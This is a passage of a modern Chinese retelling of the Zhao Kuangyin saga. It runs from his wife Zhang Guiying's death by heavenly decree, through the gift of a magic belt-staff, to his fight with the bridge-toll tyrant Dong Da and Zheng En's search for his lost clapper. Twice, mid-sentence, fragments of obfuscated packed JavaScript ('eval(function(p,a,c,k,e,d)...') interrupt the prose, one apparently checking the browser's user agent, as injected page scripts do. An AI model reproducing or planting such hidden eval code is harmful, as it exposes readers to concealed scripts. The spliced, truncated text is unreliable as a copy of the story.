不一会儿,张员外就来了。四人赶紧起身行礼,张员外连忙扶起他们,笑着说:“都是自家兄弟,不用这么客气。”听说三人是女婿的朋友,张员外不敢怠慢,赶紧让厨房准备酒席,好好招待他们。那酒席十分丰盛,有鸡有鱼,还有好酒,几人边吃边聊,越聊越投机,一直喝到天黑才散。 这天正好是中秋佳节,吃完晚饭,东边的山头上还泛着霞光,天上的星星已经慢慢亮了起来,一轮圆月很快就升到了天空,把整个庄子照得像白天一样。张员外见月色这么好,又让人准备了一桌酒菜,邀请四人一起赏月。 这月色真是太美了——傍晚的云彩都散了,天上没有一点声音,只有月亮静静地挂在那里,把光芒洒在山川河流上,比天上的星星还亮。以前有位贤人写过一首诗,专门描写中秋的月亮,诗是这么写的:“皓魄当空宝镜升,云间仙籁寂无声。平分秋色一輪滿,常伴雲衢千里明。狡兔空從弦外落,妖蟆休向眼前生。靈槎擬約同攜手,更待銀河到底清。” 四人赏了一会儿月,酒也喝得差不多了,才撤了席。张员外让张忠在书房里铺好床,让柴荣、张光远、罗彦威三人在书房休息,自己则回了后院。 赵匡胤也回到了自己的房间,刚进门,就看见张桂英已经备好了一桌子小菜和一壶酒,坐在桌边等他。原来桂英知道他今天和兄弟们喝酒,怕他回来还想再喝点,就特意准备了。赵匡胤心里一暖,走过去坐下,和桂英一起赏月喝酒。 不知不觉就到了三更天,月光更亮了,夜风一吹,带着几分凉意。两人喝了不少酒,桂英放下酒杯,轻声问道:“官人,我听说你今天结了三个朋友,其中还有个推着车卖雨伞的。我知道你是将门之后,身份尊贵,怎么能和那种身份低微的人交朋友呢?这要是被别人知道了,岂不是会笑话你,丢了你的面子?” 赵匡胤放下酒杯,笑着摸了摸桂英的头,说:“贤妻,你只知其一,不知其二。我在汴梁的时候,遇到过一个相士,他说我将来有当皇帝的命。今天我在路边看到柴兄的时候,他头顶上有黄龙现身,这说明他将来也是个有大福气的人,说不定也能当皇帝。我还不知道我们俩谁先发达,所以才跟他结为兄弟,以后互相帮衬,对我们都有好处。” 桂英一听,眼睛一下子亮了,脸上露出欢喜的神色:“官人,我小时候也遇到过一个算命先生,他说我有当妃嫔的命。没想到我能嫁给你,这真是上天安排的。将来你当了皇帝,一定要封我做妃嫔,可不能忘了今天说的话。”说着,桂英就从座位上站起来,跪在赵匡胤面前,想让他给个凭证,好让自己放心。 赵匡胤哈哈大笑,伸手把桂英扶起来,说:“贤妻你怎么还当真了?这都是还没影的事,何必这么着急?不过你放心,要是我将来真当了皇帝,就封你做西宫贵妃,让你掌管西宫的事。” 桂英听了,连忙谢恩,又重新摆上酒杯,和赵匡胤接着喝酒。一直喝到谯楼敲了五下梆子,两人都有些醉了,才让春桃进来收拾桌子,然后上床睡觉。可谁知道,赵匡胤刚把“西宫贵妃”这四个字说出口,就惹来了杀身之祸。 各位看官要知道,赵匡胤说这话的时候,只是因为喝了酒,一时高兴,随口说说,没当回事。可他不知道,这话早就被天上的值日功曹听到了。那功曹在空中听了,心里嘀咕:“这张桂英虽然有当妃嫔的命,可没当妃嫔的福气,不过是空有个名分罢了,不能真让她当西宫贵妃。要是她当了西宫,将来杜丽容该放在哪里?这事我必须告诉玉帝。” 于是功曹立刻驾起云,飞到天庭的灵霄宝殿,把听到的话一五一十地奏报给了玉皇大帝。玉帝听了,脸色一沉,立刻下旨:“张桂英妄想当西宫贵妃,贪图富贵,违背了人间的规矩,应该受到惩罚,减她十二年的寿命。你们照旨行事,不能违抗。” 旨意一下,功曹不敢耽搁,马上离开天庭,飞到地府的森罗殿,把玉帝的旨意读给十殿阎君听。阎君们一听,赶紧让掌管生死簿的判官把张桂英的生死簿取来,仔细一看——上面写着“张桂英,阳寿二十八岁,于某年某月某日得急病去世”。阎君们不敢违抗玉帝的旨意,就把张桂英的阳寿减去十二年,改成“张桂英,于今年八月十六日,得急病暴毙”。 改完之后,阎君们立刻写了拘票,派勾魂的鬼差,跟着张家的家鬼,还有地府的兵卒,一起去张家庄勾张桂英的魂魄,回来复命。鬼差领了命令,马上就飞到了张家庄,躲在院子的角落里,等着第二天动手。这正应了那句老话:“半句不该说的话,就能折掉一辈子的福气。”可见一个人该吃什么、该喝什么,都是早就定好的;是穷是富、活多久,也不是自己能勉强改变的。有诗为证:“命里有的终会有,命里没有别强求。万般事情难算计,都是命中早注定。” 第二天一早,就是八月十六日了。赵匡胤睡醒后,洗漱完毕,就去书房找柴荣、张光远、罗彦威三人。四人刚喝了一会儿茶,柴荣就站起来,对赵匡胤说:“二弟,我出来这么久了,雨伞还没卖,得赶紧回去了,今天就跟你辞行。” 赵匡胤连忙拉住柴荣,说:“大哥你怎么这么见外?咱们刚结为兄弟,正该多待几天,好好聊聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵匡胤想起自己和桂英的过往——当初在昆明山救了她,两人萍水相逢,后来结为夫妻,本想着能一起白头偕老,没想到才过了四个月,桂英就这么走了。想到这儿,他再也忍不住,抱着桂英的尸体,放声大哭起来:“贤妻,我从昆明山救你的时候,就想着要好好照顾你一辈子,没想到咱们在一起的日子这么短,你怎么就这么走了?你让我以后怎么办啊?” 张员外也在一旁哭,边哭边说:“我的女儿啊!我本来还指望你给我养老送终,没想到你这么年轻就走了,留下我一个人,以后谁来照顾我啊?” 两人正哭得伤心,旁边的张忠走过来,叹了口气,劝道:“员外,姑老爷,你们也别太伤心了。古人说‘人死不能复生’,小姐这是命里注定的,就算你们哭死,小姐也回不来了。现在最重要的是赶紧料理小姐的后事,让小姐安心上路。” 赵匡胤和张员外听了,才慢慢止住哭声,擦了擦眼泪。赵匡胤吩咐丫鬟们用温水给张桂英擦洗身体,换上她平时最喜欢的新衣服,再把她的首饰都戴上,然后把她的尸体停放在后堂。 安排好这些,赵匡胤回到前院的书房。柴荣、张光远、罗彦威三人听说张桂英去世了,也都红了眼眶,纷纷上前安慰赵匡胤。张员外因为太伤心,没力气料理后事,就拿出一千两银子,让张忠去买棺材、寿衣,还请了和尚和道士来做法事,超度张桂英的魂魄,希望她能往生极乐世界。 柴荣、张光远、罗彦威三人也凑了些银子,买了祭品,亲自到张桂英的灵前祭拜。就这样忙了二十多天,张员外选了个好日子,把张桂英的棺材送到祖坟埋葬,丧事才算办完。 又过了一天,柴荣见丧事已经结束,就再次跟赵匡胤辞行:“二弟,现在事情都办完了,我也该回去了,再耽误下去,雨伞就该发霉了。” 赵匡胤点点头,说:“大哥要走,我也不拦你。你等我一会儿,我去跟岳丈辞行,然后跟你一起走。” 张光远听了,疑惑地问:“二哥,你岳丈家这么有钱,你留在这儿好好过日子多好,为什么还要跟大哥一起走,去外面奔波呢?” 赵匡胤叹了口气,说:“梁园虽然好,可终究不是我该久留的地方。再说你二嫂已经走了,我留在这儿,看着到处都是她的影子,只会更伤心。现在跟大哥一起去关西,投奔我母舅,说不定能闯出一番事业,把我的本事显出来。总比留在这儿混日子,让别人笑话我,将来留下骂名强。这不是我想做的事。” 说完,赵匡胤就让春桃去请张员外。张员外来到大厅,赵匡胤上前拜了拜,说:“岳丈大人,谢谢您这段时间对我的照顾,还把桂英嫁给我。可惜我命不好,让桂英这么年轻就走了,没能让她跟我过上好日子。我留在这儿,一来看着家里的样子,心里更难受;二来我总不能一辈子混日子,得出去闯闯。所以我想跟大哥一起去关西,暂时跟您辞行,希望以后还有机会来看您。” 张员外本来还在伤心,一听赵匡胤要走,更是慌了,眼泪又流了下来:“贤婿啊,虽然我女儿走了,可我已经快六十岁了,身边没什么亲人,就剩你这么个女婿了。你要是走了,我一个人在家,要是有个三长两短,谁来照顾我啊?你就留在这儿,帮我管管家业,别去外面了,好不好?”说着,张员外的声音都哽咽了,看着十分可怜。 赵匡胤见张员外这样,心里也不好受,眼泪忍不住流了下来。他强忍着悲伤,挤出笑脸,安慰道:“岳丈,您虽然年纪大了,可身体还很硬朗。家里有张忠和春桃他们,都是可靠的人,能照顾好您,您不用太担心。我去关西要是能混出样子,肯定会回来探望您的。咱们的亲戚关系,就算隔得再远,也断不了。您以后别总伤心,多找点开心的事做,好好保重身体,这才是最重要的。” 张员外见赵匡胤去意已决,知道自己留不住他,只好叹了口气,让春桃去厨房准备饯行的酒席。然后他回到自己的房间,翻出一个精致的包袱,里面是一整套崭新的铺盖,又拿出一些金银,让小丫鬟抱出来,递给赵匡胤:“贤婿,你既然一定要走,我也不拦你了。路上风餐露宿的,肯定很辛苦,你带的行李太少了,这铺盖你拿着,路上好睡觉。这里还有一百两黄金、一千两白银,你拿着当盘缠,别委屈了自己。” 赵匡胤看着那些金银,连忙摆手:“岳丈,不用这么多。我去关西也就一千多里路,有几两银子就够了。您的心意我领了,这铺盖我收下,黄金我就拿一锭,剩下的您留着自己用吧。”说着,他从里面拿了一锭五两重的黄金,揣进怀里。 张员外知道赵匡胤性格耿直,不会多要,就不再坚持,又拿出三封银子,分别递给柴荣、张光远、罗彦威:“三位贤侄,路上也辛苦你们多照顾贤婿,这点银子你们拿着,当路上的盘缠。”三人推辞不过,只好收下。 这时,张员外好像想起了什么,从怀里掏出一个用红布包着的东西,小心翼翼地递给赵匡胤,说:“贤婿,这是我老伴当年留下的一件宝物,能辟邪防身,不管是刀枪剑戟,还是妖魔鬼怪,都近不了身。我现在把它送给你,希望它能保佑你路上平安,将来建功立业。” 赵匡胤接过红布包,心里十分感动,对着张员外拜了拜:“多谢岳丈!我一定好好保管这件宝物,将来要是有机会,一定回来孝敬您!” 那么,张员外送给赵匡胤的到底是什么宝物呢?咱们下回再接着说。 7. 第 7 章 话说张员外见赵匡胤不肯把盘费全收下,只好让旁边伺候的童儿把剩下的银子拿进内屋。他又伸手从怀里摸出一个绣着精致花纹的小锦包袱,手指轻轻解开缠在上面的丝带,里面裹着一条用黄金丝线织成的鸾鸟纹腰带。张员外把腰带递到赵匡胤面前,语气里带着几分郑重:“贤婿啊,早先有位云游的仙长路过咱们庄上,向我化斋饭。你也知道,我这辈子最敬重的就是和尚和道士,当时就备了一桌子丰盛的斋饭招待他。仙长临走的时候,把这件宝贝送给了我,说这是件无价之宝,名叫‘神煞棍棒’。” 张员外顿了顿,眼神飘向远处,像是在回忆当时的情景:“我当时也不知道这宝贝的用处,就追问仙长到底是怎么回事。他说这东西是仙家亲手炼制的,可不是凡间普通的物件,只有非同寻常的人,才能配得上这非同寻常的宝贝。平时没事的时候,把它系在腰上,就是一条普通的腰带;要是遇上打仗冲锋的时候,把它解下来,只要嘴里念一声‘黄龙舒展’,随手朝着空中一甩,这腰带就能变成一条棍棒。拿在手里的时候,轻得像天上的鸿毛,可打在人身上,却重得像泰山压顶。不管是刀枪还是剑戟,都伤不了拿着这宝贝的人。要是遇上那些邪门的法术,有这宝贝护着,心里就不会乱,还能除掉那些妖邪。不用的时候,嘴里念‘神棍归原’四个字,手一抖,棍棒就又变回腰带了。” 他看着赵匡胤,又补充道:“我把这宝贝藏了这么多年,一直没机会用。如今见贤婿你这么英勇豪迈,才把它送给你,当个防身的兵器。一来呢,你不用总提着那根蟠龙棍赶路,方便些;二来呢,也算是我给你留个念想,往后你看到这腰带,就想起在庄上的日子。” 赵匡胤伸手接过腰带,睁大眼睛仔细瞧着——黄金丝线在光线下闪着莹润的光,上面的鸾鸟纹绣得活灵活现,连羽毛的纹路都清晰可见,一看就不是凡物。他照着张员外说的,张嘴念了声“黄龙舒展”,手朝着空中轻轻一纵,就见那腰带“唰”地一下展开,真就变成了一条通体泛着微光的棍棒。 有一首《西江月》词,专门说这宝贝的好处: 这宝贝又刚硬又柔韧,像系在铠甲上的鸾鸟纹丝带。平时系在腰上防身,变来变去藏着无穷的玄妙。上阵的时候瞬间闪着光,冲锋时刀枪都别想伤着。这是仙家传下的精奇兵器,要帮着未来的朝廷,打下永远稳固的江山。 赵匡胤握着棍棒,当场就练起了棍法。他把勾、弹、封、逼、掳、挤、抽、挪这些招式,一招接着一招耍开来,棍棒在他手里上下翻飞,带着呼呼的风声,把周围的空气都搅得动了起来。练完之后,他又念了声“神棍归原”,手轻轻一抖,棍棒立刻变回了黄金锦带。赵匡胤心里别提多高兴了,赶紧把腰带系在腰上。 旁边的柴荣、张光远、罗彦威三人,看得眼睛都直了,嘴里不停称赞:“这宝贝也太神了!二哥(贤婿)拿着它,往后更不用怕坏人了!” 赵匡胤把原来的蟠龙棍放到一边,对着张员外作了个揖:“多谢岳父大人赏赐,小婿和朋友们这就告辞了。”张员外见他一心要走,也不好再留,赶紧吩咐家里的安童,把酒席摆到正厅里,给四个人饯行。 兄弟四个围着桌子喝了几杯酒,说起往后的日子,都有些感慨。赵匡胤想起自己连累家人,眼圈有点红;柴荣想着去关西贩伞的生计,心里既期待又忐忑;张光远和罗彦威则惦记着家里的父母,坐立不安。喝完酒,四个人起身给张员外行礼告别,张员外送他们到庄门外,看着他们的背影,眼泪忍不住掉了下来,赵匡胤几人也回头挥了好几次手,才慢慢走远。这场景,正应了那句话: 送别酒刚斟满,人就已经醉在离别的愁绪里;送别的曲子唱了三遍,马蹄声就已经先朝着远方去了。 张员外站在庄门口,直到看不见他们的影子,才抹着眼泪,孤零零地回了庄里。咱们暂且不说他,先说说赶路的几个人。 柴荣推着装满雨伞的车子,赵匡胤背着行李,正准备往西边走,张光远和罗彦威突然快步走了上来,对着赵匡胤和柴荣说:“二位兄长,我们本来想陪着你们一起去关西的,可实在是有难处。” 罗彦威皱着眉,语气里满是为难:“之前我们出来,就是为了找二哥你,想给你添点盘缠,压根没跟家里父母说。我娘身体本来就不好,要是知道我偷偷跑这么远,指不定得多担心,说不定还会犯病。我们想先回东京,跟父母报个平安,等以后跟他们说清楚了,再去关西找你们,不知道二位兄长能不能答应?” 赵匡胤听了,心里也理解:“二位贤弟,这是做儿子该尽的本分,愚兄怎么会拦着你们?倒是我,之前一时糊涂,闯了大祸,现在只能离开家,不能在父母身边尽孝,真是个不孝的人。你们回去之后,要是有空,就帮我给我爹娘带句话,说我在外面挺好的,让他们别天天惦记。” 张光远赶紧打开自己的行李,从里面拿出一个沉甸甸的布包,打开一看,是五十两银子。他把银子递到赵匡胤手里:“这点银子,你们路上用,别嫌少。”赵匡胤赶紧推回去:“愚兄身上还有盘费,不用你们费心,你们把银子收回去,咱们以后有的是机会再见面。” 罗彦威见他不肯收,想了个办法:“二哥要是不肯要,就把银子给大哥吧!大哥要去关西贩伞,这银子正好当本钱,也算是我们兄弟俩的一点心意。”赵匡胤觉得这话在理,就把银子接过来,塞进了柴荣的行李里。柴荣还想推辞,赵匡胤按住他的手:“大哥就别推了,这是二位贤弟的心意,收下吧。” 张光远和罗彦威又跟两人说了几句保重的话,才翻身上马,朝着东京的方向去了。这正是: 送银子只为守住往日的约定,推车子心里盼着新的情谊能长久。 咱们不说张光远和罗彦威回东京的事,单说赵匡胤和柴荣。赵匡胤见柴荣推车子费劲,走得慢,就把自己的行李放到车上,拿起车前面的绊绳,搭在肩膀上,拉着车子往前走。柴荣在后面推,一下子觉得轻松多了,两个人顺着大路往前赶。 走在路上,赵匡胤看着路边的景色,心里忍不住胡思乱想。路边的野草被风吹得晃来晃去,像极了他现在漂泊的日子;远处的飞鸟成群结队地往窝里飞,可他却不知道什么时候才能回家。他一边走,一边叹气,头也低着,脚步也慢了下来。 柴荣在后面见他这样,赶紧问:“贤弟,你怎么老叹气啊?是不是拉着车子太累了?要是累了,咱们就歇会儿。” 赵匡胤摇摇头,声音有点低沉:“不是累,是我看着这路上的景色,就想起家里了。想起我爹娘,以前我在家的时候,每天都能陪他们吃饭说话,现在倒好,我闯了祸,只能躲得远远的,连句问候的话都没法当面说。一想到这些,我心里就难受,忍不住叹气,大哥你别见怪。” 柴荣听了,也叹了口气,劝道:“贤弟,你现在虽然在外面漂泊,但也别太愁。大丈夫就该放宽心,往前看,总有一天能跟家人团聚的。要是总这么愁眉苦脸的,伤了身体不说,也解决不了问题。前面就是销金桥了,等咱们到了桥上,我交了税,就找个酒馆,咱们喝几杯,你也能散散心。” 赵匡胤一听到“交税”两个字,立刻把想家的事抛到了一边,赶紧停下脚步,问柴荣:“大哥,这销金桥是什么地方?是官府派了官差在那儿收过往客商的税吗?” 柴荣皱着眉,压低了声音:“这地方是条大路,哪有什么官差啊?” 赵匡胤有点纳闷:“既然没有官差,那交的是什么税?难道是有人私自收钱?” 柴荣叹了口气,脸上露出害怕的神色:“虽然没有官差,但是有个叫董达的恶霸,人家都叫他‘坐地虎’。他手下有一百多个能打的家丁,白天晚上轮流守在桥口。不管是哪个客商从这儿过,只要带了货物,值十两银子的,他就要抽一两税;值一百两银子的,就得交十两。一分一毫都不能少。要是有人敢跟他争一句,轻的会被打断胳膊腿,重的直接就没了性命。所以来往的人都怕他,没人敢跟他作对。等会儿到了桥上,贤弟你可得少说话,顺着他们点,别惹麻烦。” 赵匡胤听完,气得胸口呼呼直喘,拳头攥得咯咯响,眼睛里都快冒火了。他把车绳往地上一扔:“大哥,你先停一会儿,我有话跟你说。”柴荣赶紧把车子停下,问他有什么事。 赵匡胤指着车上的雨伞:“大哥,这车上的雨伞,本钱有多少?要是卖到关西,能赚多少钱?” 柴荣算了算:“本钱有二十两,到了关西卖出去,能卖三十多两,能赚十两左右。” 赵匡胤皱着眉:“这么算下来,除去路上的盘缠,再交了税,剩下的也没多少了。大哥你来回跑这么远的路,受这么多苦,就赚这么点钱,这生意做着有什么意思?依我看,这销金桥的税咱们不交,直接过去!” 柴荣一听,吓得脸都白了,赶紧拉住赵匡胤的胳膊:“贤弟,可不敢这么干啊!那二两税银不算多,咱们别为了这点钱惹祸。董达手下人多,贤弟你虽然厉害,可他们人多势众,万一你打不过他们,咱们俩都得遭殃,这不是得不偿失吗?你还是忍一忍,咱们交了税赶紧赶路,别惹事。” 赵匡胤越听越生气,嗓门也提高了些:“大哥,你怎么这么胆小啊?我在汴梁的时候,最见不得这种欺负人的事,专爱打抱不平。以前我在城隍庙戏耍泥马,后来被发配到大名府,在那儿还教训了韩通;回家之后,喝醉了在勾栏院里,杀了那个仗势欺人的女乐,没办法才逃出汴梁;路上还降服了昆明山的两个山贼,之后才在张家庄遇到大哥你,跟你结为兄弟。” 他顿了顿,语气里满是不服气:“自古英雄惜英雄,要是我没点本事,怎么敢在大哥你面前说这些?再说了,我天生就受不了这口气,要是遇到不讲理的人,就算他有三头六臂,我也不怕,总得跟他拼一拼,分个高低。现在遇到董达这种不遵王法、私自收税的恶霸,咱们怎么能乖乖受他欺负?我实在咽不下这口气!” 柴荣见他态度坚决,知道劝不动,只好问:“贤弟,你的名声我当然信得过。可到了桥边,要是他们拦着要税,你打算怎么跟他们说?你得想个主意,别到时候没准备好,贸然动手,反而被他们欺负了,那可就不好了。” 赵匡胤想了想,眼睛一亮:“我有个主意。大哥你先推着车子过去,要是他们不拦你,那最好;要是他们拦着要税,你就说你新找了个伙计,银子和东西都在伙计身上,再跟他们描述一下我的样子——红脸蛋,穿青袍,说我马上就来交税。他们听你这么说,肯定会先放你过去。到时候我再过去,跟他们算账!” 柴荣心里还是怕,但也没别的办法,只好硬着头皮点头:“那我就按你说的办。”他深吸一口气,推着车子往前走,赵匡胤跟在后面。 离销金桥还有一段路的时候,路边有一棵老杨树,树干粗得两个人都抱不过来,树下堆着一堆风吹落的枯叶,黄灿灿的一片。赵匡胤对柴荣说:“大哥,你先往前走,我在这儿歇一会儿,马上就跟上来。”说完,他就坐在枯叶堆上,假装闭上眼睛睡觉,其实心里在盘算着等会儿怎么对付那些收税的人。 柴荣推着车子,慢慢走到桥边。刚到桥头,就听见几个穿着短打的汉子高声喊:“柴蛮子来了!柴蛮子来了!赶紧把税交了,我们好放你过去,别耽误工夫!” 柴荣心里直打鼓,手心都出汗了,但还是强装镇定,把车子停下,脸上堆着笑:“各位兄弟,我这次跟以前不一样了,新找了个伙计,银子都在他身上管着。他马上就来,你们先让我过桥,我到前面等他,等他来了就让他交税,行不行?” 其中一个瘦高个的汉子皱着眉问:“你伙计呢?怎么没跟你一起过来?” 柴荣赶紧指着远处的老杨树:“就在那棵杨树下歇着呢,就是那个穿青袍的红脸蛋汉子。他赶路太累了,歇一会儿就过来,你们稍等片刻,他肯定会来交税的。” 旁边一个矮胖的汉子嘀咕:“这柴蛮子平时挺老实的,没说过瞎话,他说的伙计应该是真的。先放他过去,反正他伙计还在这儿,还怕跑了不成?”其他人也觉得有道理,就摆摆手:“行吧,你赶紧过去,让你伙计快点来交税!” 柴荣连忙说:“谢谢各位兄弟!”他推着车子,赶紧过了桥,心里的石头才算落了地。有诗为证: 贪心的人从来不会防备,只想着自己发财把钱藏起来。 没想到已经中了别人的连环计,自己的性命和家业,很快就要保不住了。 那些收税的人在桥边等了好一会儿,见那个红脸蛋的汉子还在杨树下躺着,一点要起来的意思都没有,心里就有点急了。一个性子急躁的汉子说:“兄弟们,这红脸蛋的怎么还不起来?别是想耍花样,等咱们不注意,他就偷偷跑了吧?咱们不如过去把他叫起来,让他把税交了,他爱睡多久睡多久,跟咱们没关系!” 其他人都点头:“说得对!走,过去叫他!”一群人走到赵匡胤跟前,低头一看,果然是个红脸蛋的汉子,穿着青袍,闭着眼睛好像睡得很沉。他们就高声喊:“红脸蛋的伙计,别睡了!赶紧起来,把柴蛮子的税银交了,你再接着睡!” 赵匡胤其实早就听见了,就是故意不搭理他们。这些人见他不动,忍不了了,伸手就去推他,有的还伸手想拉他的胳膊。赵匡胤慢慢把脚伸了伸,嘴里含糊地骂道:“你们这些不知死活的东西!敢这么无礼,打扰老爷睡觉?” 众人一听,顿时火了:“红脸蛋的贼东西!装什么装?赶紧把银子拿出来,称够了税银,放你过桥去;要是敢说半个‘不’字,就让你去阴曹地府睡觉,永远别醒过来!” 赵匡胤“噌”地一下站起来,眼睛瞪着他们:“你们这些混蛋!我好好在这儿睡觉,跟你们要什么税银?” 一个汉子叉着腰说:“你别装傻!你伙计柴荣肯定跟你说了,我们在这儿收的是过桥税!不管你知不知道,今天这税你必须交!” 赵匡胤冷笑一声:“我就是要问清楚,你们在这儿收税,有官府的文书吗?有当官的命令吗?要是没有,你们就是私自收税,跟强盗没两样!” 众人被问得一愣,随即又嚣张起来:“你这新来的,懂什么规矩?这销金桥是我们董大爷说了算,他让收税就收税!不管你带的货值多少钱,都得按规矩来——值十两交一两,值百两交十两,一分都不能少!柴荣每次来都交二两税银,你今天也必须交!别管什么文书命令,赶紧把银子拿出来,不然有你好果子吃!” 赵匡胤听完,怒火一下子就上来了,大声骂道:“好一群不知王法的死囚!还敢提什么董大爷?我看你们是活腻了!”说完,他抡起拳头,朝着离他最近的那个瘦高个汉子就打了过去。那汉子没防备,被打得往后退了好几步,“扑通”一声坐在地上,鼻子都流血了。 其他人见赵匡胤动手,都喊了一声,一窝蜂地冲上来,围着赵匡胤,拳头、脚一起上,想把他打倒。可赵匡胤根本不怕,他小时候就练过拳脚,后来又走南闯北,对付这些人绰绰有余。他两只拳头左右开弓,专挑这些人的要害打——要么打胸口,要么打肚子,没一会儿,就有十几个汉子被他打倒在杨树下,躺在地上哼哼唧唧的,站都站不起来。 那些没被打的汉子,见赵匡胤这么厉害,吓得魂都没了,喊了一声“快跑”,就朝着桥那边逃了。赵匡胤见他们跑了,也不追,整理了一下衣服,慢慢走上了销金桥。 他站在桥上往四周看了看,这桥横跨在一条大河上,桥面又宽又高,能并排走两辆车。桥中间的一侧,搭了一个用席子做的棚子,上面写着“税棚”两个字,显然是用来收税的。棚子里面放着一个银色的柜子,柜子上摆着天平、戥子、算盘、夹剪这些东西,都是用来称银子、算钱的。不过现在棚子里空无一人,那些管棚子的人早就吓得跑没影了。 赵匡胤心里想:“这天下是太平世界,怎么能让这种土豪恶霸拦着官道,私自收税肥自己?这些人欺负来往的客商,不知道害了多少人。我赵匡胤今天要是不收拾他们,还有谁会来替老百姓出头?” 他越想越生气,走到税棚跟前,伸手抓住棚子的柱子,使劲一掰,“咔嚓”一声,柱子就断了。席子做的棚顶“哗啦”一下塌了下来,他又把棚子里的银柜、天平这些东西都搬到桥中间,一脚把银柜踹翻,里面的银子撒了一地。做完这些,他想起柴荣已经过了桥,怕前面还有董达的人拦着柴荣,就赶紧下了桥,朝着西边追了过去。 跑了大概一里多路,前面出现了一个集市,街上人来人往,挤得水泄不通。赵匡胤踮着脚往四周看,没看到柴荣和伞车的影子,心里有点急。他看见东边有一座酒楼,楼上面挂着“悦来楼”的招牌,就赶紧走了进去,上了二楼,找了个靠窗的位置坐下。他一边让店小二上酒,一边趴在窗户边往下看,盼着能看到柴荣的身影,可看了半天,还是没见着,只好坐在那儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时候,赵匡胤正在酒楼二楼喝酒,忽然听见楼下传来马鞭子的响声,还有人喊叫的声音,赶紧探出头往下看。这一看,他的火一下子就上来了——只见一个穿着绸缎衣服的汉子骑着马,正用马鞭子抽柴荣,柴荣推着车子,疼得直咧嘴,却不敢反抗。赵匡胤一眼就认出,那个骑马的汉子肯定是董达,他二话不说,踩着窗户沿,“噌”地一下就从二楼跳了下去,正好落在董达的马旁边。 赵匡胤指着董达,大声骂道:“你这个恶霸!敢这么欺负人,是不是活腻了?”他说着,伸手抓住董达的衣襟,使劲一拽,董达没防备,从马背上“扑通”一声摔了下来,摔得他龇牙咧嘴。 董达爬起来,一看赵匡胤是个红脸蛋的汉子,就知道这是打他手下的人,心里也有点慌,但还是强装镇定,摆出一个“鲫鱼跳水”的姿势,想吓唬赵匡胤。他睁大眼睛,又猛地扑了过来,想把赵匡胤扑倒,用“饿虎扑食”的招式制服赵匡胤。 赵匡胤早就看穿了他的心思,往旁边轻轻一闪,躲开了董达的扑击。董达扑了个空,身体往前踉跄了几步,赵匡胤趁机伸出脚,朝着董达的腿弯处一勾,董达“扑通”一声又摔在了地上,这次摔得更重,半天没爬起来。 赵匡胤上前一步,提起拳头,朝着董达的身上就打,跟当初在大名府打韩通一样,每一拳都用了力气,打得董达嗷嗷直叫。董达带来的那些汉子,见主子被打,都喊了一声,从路边捡起砖头、石头,朝着赵匡胤扔了过去,想救董达。 赵匡胤见他们扔石头,不仅不躲,还哈哈大笑:“来得好!今天就让你们这些混蛋知道我的厉害!”他不再打董达,往后退了几步,伸手解开腰上的黄金锦带,嘴里念了声“黄龙舒展”,锦带立刻变成了神煞棍棒。他握着棍棒,朝着那些汉子就打了过去,棍棒一挥,就有几个汉子被打倒在地,剩下的人吓得不敢再上,赶紧跑过去,把董达从地上扶起来,架到马背上,朝着正南方向逃走了。 赵匡胤提着棍棒,还想往前追,柴荣赶紧从旁边跑过来,拉住他的胳膊:“贤弟,别追了!他们人多,万一前面有埋伏,你就危险了!咱们已经打赢了,还是赶紧赶路吧,别再惹麻烦了。” 赵匡胤回头看了看柴荣,又看了看董达逃走的方向,心里还是有点不甘心,但也知道柴荣说得对。他对柴荣说:“大哥,你先往前面走,在前面的黄土坡等我。我再往前追一段,看看他们有没有埋伏,顺便把这个恶霸彻底解决了,免得以后再欺负别人。” 柴荣还想劝,赵匡胤已经提着棍棒,朝着董达逃走的方向追了过去。柴荣没办法,只好推着车子,慢慢往黄土坡走,心里一直惦记着赵匡胤,怕他出事。 咱们再说说董达,他被手下人架在马背上,回头看见赵匡胤在后面追,心里不仅不害怕,反而有点高兴:“我正愁他不追过来呢!他既然敢追,今天就让他有来无回!前面就是九曲十八湾,我那两个结义兄弟就在那儿等着,到时候让他们一起上,肯定能把这个红脸蛋的打死!”这正是: 白白费尽心机耍手段,人能欺负人,天却不会纵容恶事。 别以为路上有险阻就能害人,最后只会自己吃亏,得不到好处。 咱们不说董达怎么算计赵匡胤,先说说另一个英雄。这个人是上界黑虎财神星下凡,姓郑,名恩,字子明,老家是山西应州乔山县的。他今年十八岁,长得特别丑——脸又黑又方,眼睛一只大一只小,鼻子塌塌的,嘴巴却很大,但是力气特别大,能举起几百斤重的石头。最奇怪的是他那只大眼睛,能看出谁是妖邪,谁是好人。 郑恩从小就没了父母,一个人在江湖上漂泊,靠挑着担子卖香油过日子。之前在张家庄的时候,他还显露过自己的本事,咱们之前已经说过了。今天他本来是来集市上卖香油的,可卖着卖着,发现自己敲香油的梆子不见了——那个梆子是他爹留下来的,用了十几年,他特别宝贝。他想了半天,才想起昨天在平定州的一家小酒馆里喝酒,把梆子落在那儿了。 郑恩赶紧挑着香油担子,跑到那家酒馆,一进门就喊:“掌柜的!我昨天落在这儿的香油梆子呢?赶紧给我拿出来!” 酒馆掌柜是个五十多岁的老头,见郑恩来了,赶紧陪着笑:“这位小哥,你昨天是在这儿喝了酒,可我没见你的梆子啊!我昨天打烊的时候,还特意收拾了桌子,没看到什么梆子。” 郑恩一听,火气就上来了:“你骗人!我明明放在柜台旁边的角落里,怎么会不见了?肯定是你藏起来了,要么就是被你拿给别人了!今天你要是不把梆子还给我,我就把你这酒馆砸了!” 掌柜的吓得脸都白了,赶紧解释:“小哥,我真没见你的梆子!昨天晚上有几个乞丐来门口要饭,说不定是他们拿走了,你可别冤枉我啊!” 郑恩根本不信,他把香油担子往门口一放,就开始在酒馆里翻找——桌子底下、柜子里面、灶台旁边,到处都找遍了,还是没找到梆子。他越找越生气,伸手就把旁边的一张桌子掀翻了,桌子上的碗、盘子“哗啦”一声掉在地上,碎了一地。掌柜的急得直跺脚,却不敢拦着他,只能在旁边劝:“小哥,别砸了!别砸了!我赔你一个梆子还不行吗?” 